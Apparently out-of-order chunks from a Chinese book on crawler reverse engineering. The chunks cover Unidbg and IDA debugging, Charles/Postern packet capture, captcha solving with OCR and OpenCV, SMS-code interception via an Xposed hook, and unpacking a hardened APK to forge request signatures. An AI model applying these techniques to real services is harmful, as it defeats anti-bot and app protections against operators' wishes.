    {"text": "Unknown 4. VirtualXposed VirtualXposed 是基于 VirtualApp 和 epic 在非 Root 环境下运行 Xposed 模块的实现， 它无须 Root 或刷入 系统映像。 工作原理是在设备上建立一个虚拟空间或者平行空间， 在这个空间里面安装 App， 并且安装 其对应的 Xposed 框架模块， 等于把本机给隔离开， 这样就能让这个模块对安装的 App 起到作用。 这也导 致了它具有一些局限性， 比如无法修改系统， 不能支持资源 Hook 等。 VirtualXposed 官网： https： / / vxposed. com/ Github 地址： https： / / Github. com/ android-hacker/ VirtualXposed 在 Github 上 可 以 下 载 APK 文 件， 安 装 时 需 要 注 意， 如 果 出 现 应 用 安 装 失 败， 就 更 换 其 他 VirtualXposed 版本。 笔者在 Android 5 的模拟器上安装 0. 20. 0 版本失败， 切换到 0. 18. 0 后正常， 如图 6-59 所示。 安装完成之后， 需要先添加应用和 Xposed 模块， 在设置中选择添加应用可以把真实环境中的应用复 制一份到虚拟环境中， 然后在设置中启用 Xposed 模块即可。 VirtualXposed 使用时容易出现很多问题， 大多是由于版本兼容性导致的， 如果无法使用就更换 VirtualXposed 版本， 有条件的话就根据 VirtualXposed 要求去更换 Android 系统版本。 Unknown 2. 提取 Js 参数 Js 地址： https： / / castatic. fengkongcloud. com/ pr/ auto-build/ v1. 0. 3-70/ captcha-sdk. min. js 需要提取该 Js 中的参数名， 会在最后验证的时候使用， 如图 10-28 所示。 ·图 10-27 ·图 10-28 在该 Js 文件中的参数是倒序的， 如图 10-29 所示。 ·图 10-29 Unknown 4. 查看训练过程 如果感兴趣， 可以使用 tensorBoard 库来查看训练过程。 在 cmd 中输入 tensorboard --logdir \\ 路径 \\ captcha_trainer \\ projects \\ weiboCaptcha-CNNX-GRU-H64-CTC-C1 \\ model。 然后访问 http： / / localhost： 6006 / ， 如图 10-18 所示。 ·图 10-18 其实通过 model \\ checkpoint 文件也可以查看当前的训练进度。 训练结束后， 会在项目路径的 out 下看到以下结构的文件， pb 为模型， yaml 为模型配置文件。 Unknown 1. 生成验证码 这里生成验证码的方式是使用了 Python 的 PIL 库。 它是 Python 平台的图像处理标准库。 PIL 功能非 常强大， Api 也非常简单易用。 import random,time import os fromPIL import ImageFont,Image,ImageDraw,ImageFilter def auth_code(): size = (140,40) #图片大小 font_list = list(\"0123456789\") #验证码范围 c_chars = \" \".join(random.sample(font_list,4)) # 4 个+中间加个俩空格 print(c_chars) img = Image.new(\"RGB\",size,(33,33,34)) #RGB 颜色 draw = ImageDraw.Draw(img) font = ImageFont.truetype(\"arial.ttf\", 23) #字体 draw.text((5,4),c_chars,font=font,fill=\"white\") #字颜色 params = [1 - float(random.randint(1, 2)) / 100, 0, 0, 0, 1 - float(random.randint(1, 10)) / 100, float(random.randint(1, 2)) / 500, Unknown 2. Unidbg 方法 先分析一下在测试文件中出现的方法， 如表 6-23 到表 6-25 所示。 表 6-23 AndroidEmulator 方法 (AndroidEmulator emulator = AndroidEmulatorBuilder. for32Bit(). build()；) 方 法 简 介 emulator. getMemory() 获取操作内存的接口 emulator. getPid() 获取进程 pid emulator. createDalvikVM() 创建 Android 虚拟机 emulator. createDalvikVM (new File (\" path\" ) ) 指定 APK 文件创建虚拟机 emulator. getDalvikVM() 获取已创建的虚拟机 emulator. showRegs() 显示当前寄存器状态 emulator. getBackend() 获取后端 CPU emulator. getProcessName() 获取进程名 emulator. getContext() 获取寄存器 emulator. isRunning() 是否正在运行 表 6-24 Memory 方法 (Memory memory = emulator. getMemory()；) 方 法 简 介 memory. setLibraryResolver 指定 Android SDK 版本 (19 或 23) memory. pointer (\" 内存地址\" ) 通过指针操作内存 memory. getMemoryMap() 获取当前内存映射情况 memory. findModule (\" \" ) 通过名称获取模块 memory. findModuleByAddress (\" 内存地址\" ) 通过内存地址获取模块 表 6-25 VM 方法 (VM vm = emulator. createDalvikVM()；) 方 法 简 介 vm. setVerbose (true) 输出 JNI 日志 vm. loadLibrary (new File (\" path\" )， true) 加载 so 并且自动 init vm. setJni (this) 设置 JNI 交互接口 vm. getJNIEnv() 获取 JNIEnv 指针 vm. getJavaVM()； 获取 JavaVM 指针 vm. callJNI_OnLoad() 调用 JNI_OnLoad vm. addGlobalObject (dvmObj)； vm 添加全局对象且返回 hash 值 vm. getObject (hash) 通过 hash 值获取 vm 中的对象 vm. callStaticJniMethod() 调用 native 方法 vm. callStaticJniMethodObject() 先 new 对象， 再调用 native 方法 vm. resolveClass (\" com. xx. xx. xx\" ) vm 解析类创建 jobject 对象 . 2 31 爬虫逆向进阶实战 Unidbg 中的一些其他方法。 获取 so 在内存中的地址： DalvikModule smd = vm.loadLibrary(\"xx.so\", true); module = smd.getModule(); System.out.println(module.base); 通过地址来调用 so 中的函数： //params 是参数 Number[ ] numbers = module.callFunction(emulator, \"函数地址\", params); System.out.println(numbers[0] .intValue()); 单步调试 （Unidbg console debugger）： debugger debugger = emulator.attach(DebuggerType.CONSOLE); debugger.addBreakPoint(\"内存地址\"); Unidbg 除了模拟调用之外， 还可以对 so 进行调试， 用来反混淆和算法还原， 不过一般不会去分析 so 文件， 所以上述的这些方法已经足够使用了。"},
    {"text": "Unknown 10. 4 短信验证码 短信验证码也是目前很常见的一种验证方式， 相对于其他验证类型更能够确保用户的真实性和安全 性， 虽然目前有很多接码平台利用虚拟手机号接收短信和语音， 但是接码平台属于灰色产业， 不推荐大 家使用。 那么该如何处理短信验证码呢？ 可以使用 Xposed 等工具拦截短信内容， 或者使用 Gsm 模块读取短信 内容。 在读取到新短信时， 通过消息队列把短信内容推送或者存入数据库中， 爬虫程序去读取短信并进 行验证。 同理， 如果是需要用户主动发送验证码到服务端验证， 也可以使用上面两种方法发送短信完成验证。 10. 4. 1 Xposed 拦截短信 Xposed 拦截时首先要根据手机型号来查看其对应的 Gsm 短信包名或者方法名， 其次要注意双卡和单 卡的问题， 有的第二卡槽可能不支持 Gsm， 另外不同运营商的不同手机卡可能也会导致无法拦截。 Class<? > mSmsMessageClass = XposedHelpers. findClass(\"com.android.internal.telephony.gsm.SmsMessage\", classLoader); XposedHelpers.findAndHookMethod(mSmsMessageClass, \"createFromPdu\", byte[ ] .class, new XC_MethodHook() { @ Override protected voidafterHookedMethod(MethodHookParam param) throws Throwable { try { ObjectsmsMessage = param.getResult(); if (null != smsMessage) { String from = (String) XposedHelpers.callMethod(smsMessage, \"getOrigi-natingAddress\"); String msgBody = (String) XposedHelpers.callMethod(smsMessage, \"getMes-sageBody\"); XLog.e(\"test_sms\", \"有新短信:\" + from + \"短信内容:\" + msgBody); } }catch (Exception e) { e.printStackTrace(); 3 60 . 第 10 章 验证码识别技术 XLog.e(\"SMS listen error\", e.getMessage()); } } } ); 10. 4. 2 GsmModem 接收短信 Python-GsmModem 可以轻松控制连接到系统的 Gsm 调制解调器。 通过它可以发送短信、 处理来电和 收到的短信。 Pypi 地址： https： / / pypi. org / project/ Python-GsmModem/ Python 短信接收和回复代码示例： PORT = /dev/ttyUSB2 BAUDRATE =115200 PIN = None from GsmModem.modem import GsmModem def handleSms(sms): print(sms.number, sms.time, sms.text) sms.reply(u SMS received:success ) def main(): modem =GsmModem(PORT, BAUDRATE, smsReceivedCallbackFunc=handleSms) modem.smsTextMode = False modem.connect(PIN) print( Waiting for message... ) try : modem.rxThread.join(2* * 31) finally : modem.close() 10. 4. 3 太极验证码提取器 太极官网模块中有一个名叫验证码提取器的插件， 可以通 过正则表达式自定义验证码短信关键字， 自定义短信验证码匹 配规则， 并支持导入导出， 收到验证码短信后， 将验证码复制 到系统剪贴板， 也可以自动输入验证码， 如图 10- 43 所示。 该模块只能在太极阳中使用， 类似这样的插件还有很多， 可以基于这种插件进行二次开发， 这在处理短信验证码时， 也 是一个不错的方法。 10. 4. 4 批量短信处理 前面两小节是对于一部手机来接收短信的方式， 如果量很 多时， 可以通过群控来处理短信， 比如统一安装短信接收软件， 统一配置相同的转发规则， 从而实现批量短信验证码的接收和 ·图 10-43 . 3 61 爬虫逆向进阶实战 处理。 还有更专业的解决方案， 比如专业的手机猫池、 卡池， 配合专业的软件设备实现短信的监听。 图 10- 44 是一个 128 路 3G 卡池第六代 SIM 卡池设备， 但对于爬虫数据采集来说， 购买这种硬件的性 价比可能不如使用接码平台高。 具体就不多介绍了， 大家可以自行查询。 ·图 10-44 3 62 . Unknown 4. 引用类型 Smali 中都是用 L 包名路径 / 类名； 表示， 例如 Android 中的 TextView 类， 它的包名是 android. widget， 如果要在 Smali 中表示这个类， 就要写成 Landroid / widget / TextView。 6. 1. 4 ARM ARM 是 Advanced RISC Machine 的缩写， 可以理解为一种处理器的架构， 还可以将它作为一套完整的 处理器指令集。 因为目前市面上的 Android 手机绝大多数的 CPU 都是基于 ARM 架构的， 对于使用 ARM 处理器的 Android 手机来说， 它最终会生成相应的 elf （so） 可执行文件。 由于现在 App 的核心加密一般 都放在 elf （so） 文件中， 所以逆向分析只能从 elf （so） 文件入手。 后续会讲到 IDA 反汇编工具， 可对 so 文件进行反编译， 其加载出的内容一般都是 ARM 指令。 Unknown 1. 动态加载 Dex 整体加固也被称为第一代加固， 把 DEX 整体加密， 然后动态加载。 Dex 整体加固的主要流程如图 6-91 所示。 ·图 6-90 ·图 6-91 先从 APK 中解压出 Dex 文件， 用加密算法把 Dex 进行加密， 得到新的 Dex 文件， 然后用这个新的 Dex 文件去替换壳中的 Dex 文件， 这样就得到了加固后的 APK。 但是 APK 想要运行还需要完成签名和脱 壳才能加载源 Dex 文件。 第一代加固现在已经很少见了， 常用的脱壳工具都可以进行脱壳。"},
    {"text": "Unknown 2. ARM 模块结构 ARM 汇编语言的源代码行的一般格式如下： {label 标签} {instruction | directive | pseudo-instruction 指令 / 伪操作 / 伪指令} {； comment 语句注释} 其中标签是表示地址的符号， 在汇编期间， 将计算由标签指定的地址。 指令 / 伪操作 / 伪指令前面必 须使用空格或制表符等留出空白。 指令助记符、 指令和符号寄存器名称可以用大写或小写编写， 但不能 混合使用大小写。 反斜杠符 （ \\ ）： 在行尾放置反斜杠符 （ \\ ）， 可以将较长的源代码行拆分为多个行。 不要在带引号的字符串内使用反斜杠。 常数可以是数字、 布尔值、 字符、 字符串。 先给大家做一个模块示例， ENTRY 标记的是第一个要执行的指令， start 表示应用程序代码在标签处 开始执行， stop 是应用程序终止， END 指令指示汇编程序停止处理此源文件， 如图 6-2 所示。 ·图 6-2 应用程序代码在标签 start 处开始执行， 并在此处将十进制值 10 和 3 加载到寄存器 r0 和 r1 中。 这些 寄存器将一起相加， 并且结果将存放到 r0 中。 1 78 . 第 6 章 Android 逆向 接下来看一下有条件执行的语句， 比如一段计算最大公约数 gcd 的 C 语言代码如下： int gcd(int a, int b) {while (a != b){ if (a > b) a = a - b; else b = b - a;} return a;} 转换为汇编语言， 在 ARM 中用跳转条件执行来实现 gcd 函数， 如图 6-3 所示。 而通过使用 ARM 指令集的条件执行功能， 仅用 4 个指令即可执行 gcd 函数， 如图 6- 4 所示。 ·图 6-3 ·图 6-4 除了缩短代码长短之外， 大多数情况下此代码的执行速度也比较快， 但是阅读起来需要经验和技巧。 Unknown 3. IDA 动态调试 虽然 IDA 主要是做静态分析的， 但是也有动态调试的功能， 本小节使用的环境是 IDA 7. 0， 夜神模拟 . 1 93 爬虫逆向进阶实战 器 （Android 系统 5. 0）。 先用 adb 连接夜神模拟器， 第一次失败了就再试一次。 成功后用 adb devices 查看当前设备， 如 图 6-22 所示。 ·图 6-22 连接成功后， 需要把 IDA 的 android_server 复制到模拟器中。 android_server 一般在 IDA 文件夹下的 dbgsrv 目录中。 开始使用 adb push 命令上传文件， 如图 6-23 所示。 ·图 6-23 上传后进入 adb shell， 给文件授权并启动， 如图 6-24 所示。 ·图 6-24 通过命令 chmod 777 授予 android_server 可执行权限， 并启动。 接下来重新开启一个 cmd， 进行端口转发 （23946 是固 定的）， 如图 ·图 6-25 6-25 所示。 打开 IDA， 选择 go， 然后进入界面， 选择 “Debugger” 中的 “Run” 中的 “ARM android” 命令， 如 图 6-26 所示。 然后输入 Hostname， 如图 6-27 所示。 单击 “OK” 按钮后， 如果报错 （Incompatible debugging server： address size is 4 bytes）， 则 Android 系 统跟 IDA 不匹配。 需要换成 32 的 IDA， 如果相反， 可换成 64 的 IDA。 没有异常的情况下， 在弹出的进程框中选择 App 包名， 如图 6-28 所示。 1 94 . 第 6 章 Android 逆向 ·图 6-26 ·图 6-27 ·图 6-28 单击后就进入调试界面了， 如图 6-29 所示。 . 1 95 爬虫逆向进阶实战 ·图 6-29 一般断点都是先断在 libc. so， 因为它是最基本的函数 库， 里面封装了 io、 socket、 文件等基本系统调用。 可以先按 快捷键 Ctrl+S 查看段信息 （段信息是相对位置， 不是 so 映射 之后的位置）， 然后搜索， 再断点， 之后启动即可。 IDA 是一款功能非常丰富的工具， 但操作起来不容易上 手。 逆向工程的难点除了工具的熟练使用， 更多的是分析方 法和调试技巧， 后续的部分需要大家自行探索了。 6. 2. 5 MT 管理器 MT 管理器是一款基于 Amdroid 平台的文件管理和逆向分 析工具， 可作为日常文件管理器使用， 或者对 APK 进行修 改、 汉化、 分析和构造， 如图 6-30 所示。 目前使用 MT 的基本都是为了修改 App 源码， 从而做一 些特别的事情， 比如过滤广告、 解锁权限、 绕过激活、 去除 校验、 脱壳修复等。 Unknown 2. IDA 使用技巧 笔者总结了一些常用的快捷键， 可以方便大家调试， 如表 6-15 和表 6-16 所示。 表 6-15 常用的快捷键 快 捷 键 功 能 简 介 F2 打断点 Ctrl+Alt+B 打开断点列表 F4 运行到光标所在位置 F5 键 反汇编， 转为 c 伪代码 F7 单步步入， 跳转方法内单步调试 F8 单步步过， 不用跳转方法内调试 F9 开始动态调试 Alt+T 搜索字符串 Alt+B 搜索字节数据 空格键 反汇编窗口和图形窗口切换 X 查看 j 交叉引用 1 92 . 第 6 章 Android 逆向 (续) 快 捷 键 功 能 简 介 A 将数据转换为字符串 N 更改变量的名称 Y 更改变量的类型 / 给伪代码加注释 U 取消函数、 代码、 数据的定义 G 跳转到某地址 Shift+f12 打开 String 窗口， 找出所有的字符串 Shift+ / 计算器 Ctrl+S 在某个数据段跳转 Ctrl+W 保存 IDA 数据库 ALT+Enter 新建窗口并跳转到选中地址 Esc 回退前一个位置 Ctrl+Enter 返回后一个位置 Ctrl+Shift+W IDA 快照 Home 跳到文件头 End 跳到文件尾 表 6-16 窗口快捷键 快 捷 键 窗 口 简 介 Shift+F4 Names window Shift+F3 Functions window Shift+F12 键 String window Shift+F7 Segments Shift+F8 Segment registers Shift+F5 键 Signatures Shift+F11 Type libraries Shift+F9 Structures Shift+F10 Enumerations Alt+A ASCII String style Alt+D Setup data types Ctrl+F9 Parse C header file Ctrl+W Save database"},
    {"text": "Unknown 5. Screen 每个 Window 对象的 screen 属性都引用一个 Screen 对象。 Screen 对象中存放着有关显示浏览器屏幕的 信息， 如表 3-13 所示。 表 3-13 Screen availHeight 屏 幕 高 度 availWidth 屏幕宽度 bufferDepth 调色板比特深度 deviceXDPI 显示屏每英寸水平点数 deviceYDPI 显示屏每英寸垂直点数 fontSmoothingEnabled 是否启用字体平滑 3 6. 第 3 章 Web Js 逆向 (续) availHeight 屏 幕 高 度 height 显示屏高度 pixelDepth 显示屏分辨率 updateInterval 屏幕刷新率 width 显示屏宽度 Unknown 1. 3 分布式爬虫架构 分布式爬虫是指多台服务器或者多个工作节点对爬虫任务的同时处理， 可以极大程度提升采集效率， 并具有良好的稳定性和可扩展性。 爬虫中的分布式一般需要配合消息队列使用， 目前使用比较多的是结 合 Redis 数据库共享队列， 或者结合 Celery 分布式任务队列、 RabbitMQ 消息队列等。 本节中笔者给大家 分享目前两种常用的分布式爬虫架构。 1. 3. 1 主从分布式 主从分布式是目前使用最多的爬虫分布 式架构， 采用 master-slaver 体系， 一个 master 多个 slaver， 如图 1-3 所示。 master 端是主控 制节点， 负责任务管理调度分发， slaver 端是 工作子节点， 负责爬虫采集、 解析以及存储 任 务。 比 如 Python 的 分 布 式 框 架 Scrapy- Redis， Java 中 的 WebMagic 框 架， Go 中 的 Zerg 框架。 图 1- 4 是笔者之前工作时设计的主从分布 ·图 1-3 采集系统架构， 主节点从数据库中取出待采集 的种子交给任务队列， 多个工作节点去获取种子， 每个工作节点维护自己的所需资源， 比如账号、 IP 等通 过设备融合后， 以协程并发的形式进行采集， 采集后将响应内容交给下载模块， 下载模块负责对数据存储 和异常处理以及风控预警等， 并将采集流程执行的结果或者新增任务重新回调给主节点进行调度。 ·图 1-4 .3 爬虫逆向进阶实战 大家也可以基于该架构进行设计， 结合采集需求设计一套自己的分布式爬虫框架。 1. 3. 2 对等分布式 对等分布式是指分布式系统中的所有工作节点间没有主从之分， 虽然在相同的环境下具有相同的 功能， 但是既 没 有 控 制 中 心 主 节 点， 也 没 有 被 调 度 的 子 节 点， 组 成 分 布 式 系 统 的 所 有 节 点 都 是 对 等的。 在爬虫架构中的具体体现是每个对等节点根据特定规则主动从共享任务队列取出自己负责的采集任 务， 然后开始负责各自的采集工作， 各个对等节点互不干扰， 如图 1-5 所示。 这里的特定规则在对等分布式爬虫中也叫作取模算法， 算法可以自己实现， 比如目前任务队列中有 以 Baidu、 Tencent、 Taobao、 Jingdong 为主域名的 URL， 或者 URL 长度分别为 10、 20、 30、 40， 或者每个 URL 中都有特殊标识 flag1、 flag2、 flag3、 flag4。 此时可以根据规则将所有的 URL 进行 hash 分类编号， 每 个对等节点根据取模算法取出自己负责的种子 URL， 如果取到了不属于自己的种子， 则传递给另一个对 等节点。 按照这样的架构， 每个服务器节点可以制定特定的采集规则， 也可以根据服务器性能来合理分 配任务， 如图 1- 6 所示。 ·图 1-5 ·图 1-6 那么主从分布和对等分布的优缺点在哪里呢？ 主从式分布爬虫对任务分配比较合理， 可以有效利用采集节点的资源， 但是由于只有一个 master 端 的限制， 当任务队列非常庞大时， 可能会影响 master 端的任务调度， 或者在 master 端出现异常时， 会导 致整个爬虫系统崩溃。 对等分布式爬虫虽然不会牵一发而动全身， 一个采集节点宕机后， 其他节点依旧正常工作， 但是 由于任务分配的限制， 在某节点宕机或者新加采集节点时， 每台抓取服务器的取模算法都需要进行 更新。 Unknown 10. 3 点选验证码 点选是一种新型的验证码， 根据验证规则， 通过点击完成验证， 常见的有文字点选、 图标点选、 语 序点选、 空间推理点选。 图 10- 42 是网易易盾的点选验证码截图。 ·图 10-42 测试地址： https： / / dun. 163. com / trial / picture-click 一般来说， 要完成一个文字点选验证的逻辑前， 应先找到目标文件， 然后确定点击内容， 最后在图 片符合的位置上进行点击。 所以通过程序实现文字点选， 则需要有目标检测、 文字定位、 文字识别。 . 3 59 爬虫逆向进阶实战 该过程的具体讲解过于烦琐， 大家也不是专业的图像识别人员， 所以笔者推荐两个开源项目给大家 参考， 有设备的读者可以按项目要求做一做， 如果遇到非常复杂的点选， 还是建议选择专业的图像识别 平台。 项目一： https： / / Github. com / nickliqian / darknet_captcha darknet_captcha 项目基于 darknet 开发了一系列的快速启动脚本， 旨在让图像识别新手或者开发人员 能够快速启动一个目标检测 （定位） 的项目。 项目二： https： / / Github. com / Joedidi / Text_select_captcha Text_select_captcha 项目基于 Pytorch 实现 bilibili 网站的文字点选验证码识别。 操作步骤是首先通过 yolo 框选图中出现的文字， 然后使用 cnn 识别图中文字， 最后通过 n_gram 计算语序， 获得正确的词语。"},
    {"text": "Unknown 10. 1 图文验证码 图文验证码是最常见的一种， 大多由数字、 字母组成， 复杂的图文验证码有字符粘连、 重叠、 透视 变形、 模糊、 噪声等各种干扰情况。 10. 1. 1 利用开源库识别 一些简单的图文验证码可以直接使用 Python 开源的 OCR 库进行识别， 比如 pytesseract， 它是基于 Google 的 Tesseract-OCR， 可惜识别率并不高， 只能识别简单的验证码。 本小节推荐的开源库是 EasyOCR 和 ddddocr， 这两个开源库都是即用型的， pip 安装即可使用。 EasyOCR 使用代码示例： import easyocr reader = easyocr.Reader([ ch_sim , en ] ) result = reader.readtext( test.jpg ) ddddocr 使用代码示例： import ddddocr ocr = ddddocr.DdddOcr() with open(\"test.jpg\", rb ) as f: image = f.read() res = ocr.classification(image) EasyOCR 和 ddddocr 的通用识别性很高， 对爬虫开发者来说非常实用， 但是识别某些包含特殊符号或 特殊样式的图片准确率并不高。 所以在使用这些开源库时， 最好需要懂得一些验证码的基础处理， 比如 3 36 . 第 10 章 验证码识别技术 去边、 去线、 降噪等。 10. 1. 2 验证码图像处理 本节讲解如何用 opencv 对验证码图片进行二值化、 去边、 去线、 降噪。 opencv 是开源且高效的跨平 台计算机视觉和机器学习软件库， 可以运行在 Linux、 Windows、 Android 和 Mac OS 操作系统上。 因为本节是案例讲解， 所以笔者用画图工具画了一个验证码图片。 图片名为 1. png， 可以观察到现在 的验证码具有边框、 干扰线、 噪点， 如图 10-1 所示。 首先使用 opencv 读入图片 1. png， 如图 10-2 所示。 ·图 10-1 ·图 10-2 import cv2 im = cv2.imread( 1.png ) 使用 cvtColor 方法进行颜色空间转换， 把图片二值化处理， 并把像素转成黑白的。 im = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY) 然后开始去除边框， 原理是把边框范围所有坐标的像素都变成 255 白色。 具体数据要看图片的边框 值是多少。 defclear_border(img): h, w =img.shape[:2] # h 高、w 宽 for y in range(0, w): for x in range(0, h): if y < 50 or y > w - 61: # 把 50 以内的像素坐标[0,0] 到[高,50],[0,宽-50] 到[高，宽]，都变成 255 白色 img[x, y] = 255 if x < 60 or x > h - 60: img[x, y] = 255 cv2.imwrite( 2.png ,img) return img 然后查看去除边框后的图片 2. png， 如果边框格式整齐， 也可以通过剪裁来去除边框， 但是会影响图 片本身的大小， 一般不推荐使用， 如图 10-3 所示。 边框已经去除， 现在去除图片中的线， 也就是干扰线降噪。 这个处理原理是判断某个像素点周围的 像素是不是白的， 如果是白的， 说明它是干扰线， 就把它也变成白的。 def interference_line(img): h, w =img.shape[:2] . 3 37 爬虫逆向进阶实战 # opencv 矩阵点是反的 #img[1,2] 1:图片的高度，2：图片的宽度 for y in range(1, w - 1): for x in range(1, h - 1): count =0 if img[x, y - 1] > 245: count = count +1 if img[x, y + 1] > 245: count = count +1 if img[x - 1, y] > 245: count = count +1 if img[x + 1, y] > 245: count = count +1 if count > 2: img[x, y] = 255 #判断一圈有多少白的，超过 2，就转成白的 cv2.imwrite( 3.png ,img) return img 查看处理并保存好的 3. png， 如图 10- 4 所示。 ·图 10-3 ·图 10-4 可以观察到干扰线已经去除很多， 目前图片中有很多干扰点。 点降噪的方法可以看情况仿照去线来 写， 也可以利用 opencv 中已经封装好的方法。 下面笔者来演示一下中值滤波和高斯滤波的降噪效果。 读入上一步处理好的 3. png， 使用 cv2. medianBlur（ ） 中值滤波方法， 并保存新图为 4. png。 中值滤波 基本思想是用像素点邻域灰度值的中值来代替该像素点的灰度值， 让周围的像素值接近真实的值， 从而 消除孤立的噪声点。 import numpy image = cv2.imread( 3.png ) result = numpy.array(image) ss = cv2.medianBlur(result,5) cv2.imwrite( 4.png ,ss) 查看 4. png 图片， 如图 10-5 所示。 相对于之前的图片看起来要干净多了， 最好使用高斯滤波来测试一下效果。 高斯滤波是需要对一个 像素周围的像素给予更多的重视， 通过分配权重来重新计算这些周围点的值。 # 将每个像素替换为该像素周围像素的均值 image1 = cv2.imread( 4.png ) result = cv2.blur(image1,(5,5)) gaussianResult = cv2.GaussianBlur(result,(5,5),1.5) cv2.imwrite( 5.png ,gaussianResult) 查看 5. png， 如图 10- 6 所示。 3 38 . 第 10 章 验证码识别技术 ·图 10-5 ·图 10-6 当前的图片看起来仅有需要识别的数字了， 但是图片的像素经过处理也变得模糊了。 所以对于使用 通用 OCR 开源库来说， 需要不断测试才能找到提高识别效率的方法。 10. 1. 3 机器学习识别验证码 本节内容将从 0 制作图文验证码并利用机器学习识别出验证码结果。 利用机器学习识别验证码的思路是让计算机经过大量数据和相应标签的训练， 计算机学习了各种不 同标签之间的差别与关系， 形成分类器。 此时再向这个分类器输入一张图片， 分类器将输出这个图片的 标签， 这样图片识别过程就完成了。"},
    {"text": "Unknown 2. Smali 方法 Smali 中定义方法的语法是： . method 描述符+方法名 （参数类型） +返回类型。 其中参数类型可以有 0 个或多个， 返回类型必须是一个， 当要表达多个参数类型时， 只需简单地将 它们连接到一起， 例如 （int， int， String） 表示为 （IILjava / lang / String；）。 Unknown 5. 6 Postern Postern 是一个免 root 的 Android 全局代理工具/ 虚拟网络管理工具， 它的主要作用是将普通代理设置为 VPN 代理， 由于 VPN 代理处于网络层， 可以配置抓包工具让大家抓到更多的数据包， 如图 5-27 所示。 ·图 5-27 Github 地址： https： / / Github. com/ postern-overwal/ postern-stuff Postern 支持多种代理协议， 包括 SSH、 HTTPS/ HTTP、 Shadowsocks、 socks5、 gfw. press。 5. 6. 1 规则配置 Postern 的菜单栏中有一个配置规则的选项， 这里的规则类似于防火墙和路由表， 可以设置匹配的内 容， 也可以过滤掉一些无关内容。 本节主要说一下规则配置的方法， 如图 5-28 所示。 1 62 . 第 5 章 抓包工具的应用 ·图 5-28 匹配类型中分为国家 IP、 CIDR IP、 域名关键字、 域名后缀、 精确域名、 所有地址。 按照域名进行匹配的规则就不多说了， 如果要匹配国家 IP， 则目标地址规则的格式是 “GEOIP， CN， DIRECT”， GEOIP 是 Postern 的国家、 地区数据库， CN 是国内， DIRECT 是允许通过， 所以按国家 IP 匹 配时， 修改国家名英文简写即可。 如果按照 CIDR IP 匹配， 即按照 IP 子网段来匹配。 规则是 “ IP-CIDR， 192. 168. 0. 0 / 16， DIRECT”， 表示只有在 192. 168 的网段上才会被匹配到， 16 表示网络码占 16 位。 选择所有地址的匹配方法， 就不需要去填写目标地址， 接下来看一下在匹配命中后的处理规则。 动作是规则命中后的下一步处理， 具体规则如下： （1） 直连： 对命中匹配规则的数据请求不加处理直接转发到目的地址。 （2） 通过代理连接： 对命中匹配规则的请求， 使其通过代理进行转发。 （3） 屏蔽： 对名字匹配规则的这些请求全部过滤掉。 （4） 智能选择： 对匹配到的请求先采取直连的方式， 如果直连失败， 则尝试走代理。 （5） 代理组： 代理组是一组不同动作的组合， 用户可以在 “配置代理组” 中动态选择。 选择完匹配类型、 动作、 代理组后， 需要把开启抓包勾选上才能让配置的规则生效。 5. 6. 2 配合抓包 本小节内容用 Postern 配合 charles 抓模拟器中 App 的数据包， 原理是通过 Postern 将本地数据包转发 到抓包工具 charles 中， 也可以转发到其他抓包工具。 首先要保证模拟器或者移动设备中已经安装过 charles 的证书， 并且 Android 7. 0 以上的设备需要把 charles 证书从用户证书目录移动到系统证书目录。 具体操作方法是， 先把系统文件路径设置为可读写 模式， 然后找到用户证书路径的 charles 证书， 把它复制到系统证书路径中， 如表 5-1 所示。 表 5-1 系统证书路径 设置路径文件系统为可读写模式 mount -o rw， remount / 系统证书路径 / etc/ security/ cacerts 用户证书路径 / data/ misc/ user/ 0 / cacerts-added . 1 63 爬虫逆向进阶实战 然后关掉移动设备中的 Wi-Fi 代理， 将 Wi-Fi 中的代理修改为无。 接下来正式开始 Postern 的配置。 选择左侧菜单栏中的配置代理， 填上本地 IP 代理， charles 的代理类 型和代理端口， 如图 5-29 所示。 ·图 5-29 charles 中的代理类型和端口可以到代理设置中进行配置， 一般使用 Postern 转发， 大概率是遇到了在 http/ https 应用层难以抓包 （比如 App 不走代理） 的情况， 所以这里直接给出 SOCKS 代理的配置。 SOCKS 代理的端口可以自己修改， 记得需要把下面的选项勾上， 如图 5-30 所示。 接下来需要配置规则， 单击菜单栏的规则配置。 然后选择 “ 匹配类型” 中的匹配所有地址， 以及 “动作” 中的通过代理连接。 让规则保持和下图相符合的状态， 单击 “保存” 按钮， 如图 5-31 所示。 配置完成后， 在左侧的菜单栏中打开 VPN， 就可以进行抓包了。 如果说配置无误， charles 中却一直 没有数据并且无法获得响应内容， 则先关闭 VPN， 重启 charles， 然后开启 VPN 即可。 当然使用 charles 查看时， 一些 tcp 包是看不到的， 可以使用 Postern 的抓包器， 在右上角点击刷新， 就能查看到 tcp 包了， 如图 5-32 所示。 1 64 . 第 5 章 抓包工具的应用 ·图 5-30 ·图 5-31 ·图 5-32 点击进去可查看数据包内容， 如图 5-33 所示。 . 1 65 爬虫逆向进阶实战 ·图 5-33 通过 VPN 转发的方式可以轻松应对代理检测， 更多内容会在后面的案例中进行分析讲解。 Unknown 4. 计算滑块位置 根据上一步可以得到验证图片的地址。 验证码图片 bg. jpg， 滑块图片 fg. png， 如图 10-32 所示。 ·图 10-32 使用 opencv 查找并匹配图像模板中的滑块。 需要注意的是， 这里是以原图计算的， 而页面上的图片 大小只有 （300， 150） （应用不同的产品可能大小也不同）， 所以需要按比例进行缩小。"},
    {"text": "Unknown 9. 6 某资讯加固脱壳和参数分析 本节案例是对某资讯 App 的 signature 参数分析， 通过对 《360》 加固的脱壳获取 APK 源代码， 然后 静态分析获取加密参数位置， 最后通过 Frida hook 生成 signature 参数。"},
    {"text": "params = { \"ctype\":\"overall\", \"display\":\"检索词\", \"cend\":\"30\", \"eventid\":\"1229411301949bcb37- 4299- 44d0- 8382-2200c297942b\", \"group_id\":\"104006230661\", \"yd_device_id\":\"070297f16f0adc30971aa7a4a84b27d5e622\", \"signature\":\"u44xgc_DCFGgZqg6m ...... QNLITttGL_dMvO9s4aTL96Zw\", \"reqid\":\"kbyjtxsc_1639721933518_709\", \"personalRec\":\"1\", . 3 11 爬虫逆向进阶实战 \"distribution\":\"weixiazai30\", \"net\":\"wifi\", } 提交的 FormData 中是固定的环境信息， 包括设备信息和应用信 息， 这个就不贴了。"},
    {"text": "笔者测了反射大 师， 导出多个 Dex 文件时会导致软件崩溃， 所以用 Frida-Dexdump。 具体使用方法： 启动 Frida， 打开应用， 再启动 Frida-dexdump -d。"},
